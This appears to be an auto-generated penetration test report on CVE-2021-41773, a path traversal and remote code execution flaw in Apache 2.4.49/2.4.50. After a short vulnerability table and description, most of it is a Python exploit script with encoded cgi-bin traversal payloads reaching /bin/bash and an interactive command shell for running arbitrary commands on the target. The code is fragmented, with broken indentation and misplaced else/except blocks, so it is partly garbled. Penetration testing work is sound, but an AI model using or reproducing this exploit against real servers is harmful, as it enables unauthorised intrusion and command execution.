



PENETRATION TEST REPORT

Report generated on: 2024-05-22 03:35:12

TESTED VULNERABILITY :

Field	Value
Target	pentest.com
Identified Technology	apache 2.4.49
CVE ID	CVE-2021-41773
Vulnerability Type	Web
Required Action	Apply security updates as recommended by Vendor.
Publish Date	2021-10-05T09:15:07.593
CVSS	7.5
CWE	{'lang': 'en', 'value': 'CWE-22'}
Vector	WEB
Complexity	MED
Severity	HIGH

DESCRIPTION: A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions. The fix in Apache HTTP Server 2.4.50 was found to be incomplete, see CVE-2021-42013.


```

if len(sys.argv) < 2 :
print( 'Use: python3 file.py ip:port ' )
sys.exit()

```

```

def end():
print("\t\033[1;91m[!] Bye bye !")
time.sleep(0.5)
sys.exit(1)

```

```

def commands(url,command,session):
directory = mute_command(url,'pwd')
user = mute_command(url,'whoami')
hostname = mute_command(url,'hostname')
advise = print(Fore.YELLOW + 'Reverse shell is advised (This isn\'t an interactive shell)')
command = input(f"{Fore.RED}■■■{Fore.GREEN + user}@{hostname}: {Fore.BLUE +
directory}\n{Fore.RED}■■■{Fore.YELLOW}$ {Style.RESET_ALL}")
command = f"echo; {command};"
req = requests.Request('POST', url=url, data=command)
prepare = req.prepare()
prepare.url = url
response = session.send(prepare, timeout=5)
output = response.text
print(output)
if 'clear' in command:
os.system('/usr/bin/clear')
print(header)
if 'exit' in command:
end()

```

```

def mute_command(url,command):
session = requests.Session()
req = requests.Request('POST', url=url, data=f"echo; {command}")
prepare = req.prepare()
prepare.url = url
response = session.send(prepare, timeout=5)
return response.text.strip()

```

```

def exploitRCE(payload):
s = requests.Session()
try:
host = sys.argv[1]
if 'http' not in host:
url = 'http://' + host + payload
else:
url = host + payload
session = requests.Session()
command = "echo; id"
req = requests.Request('POST', url=url, data=command)
prepare = req.prepare()
prepare.url = url
response = session.send(prepare, timeout=5)
output = response.text
if "uid" in output:
choice = "Y"
print( Fore.GREEN + '\n[!] Target %s is vulnerable !!!' % host)
print("[!] Sortie:\n\n" + Fore.YELLOW + output )

```

```

choice = input(Fore.CYAN + "[?] Do you want to exploit this RCE ? (Y/n) : ")
if choice.lower() in ['y','yes']:
    while True:
        commands(url,command,session)
    else:
        end()
    else :
        print(Fore.RED + '\nTarget %s isn\'t vulnerable' % host)
except KeyboardInterrupt:
    end()

def main():
    try:
        apache2449_payload = '/cgi-bin/./%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash'
        apache2450_payload = '/cgi-bin/./%%32%65/./%%32%65/./%%32%65/./%%32%65/bin/bash'
        payloads = [apache2449_payload,apache2450_payload]
        choice = len(payloads) + 1
        print(header)
        print("\033[1;37m[0] Apache 2.4.49 RCE\n[1] Apache 2.4.50 RCE")
        while choice >= len(payloads) and choice >= 0:
            choice = int(input('[~] Choice : '))
            if choice < len(payloads):
                exploitRCE(payloads[choice])
            except KeyboardInterrupt:
                print("\n\033[1;91m[!] Bye bye !")
                time.sleep(0.5)
                sys.exit(1)

if __name__ == '__main__':
    main()

```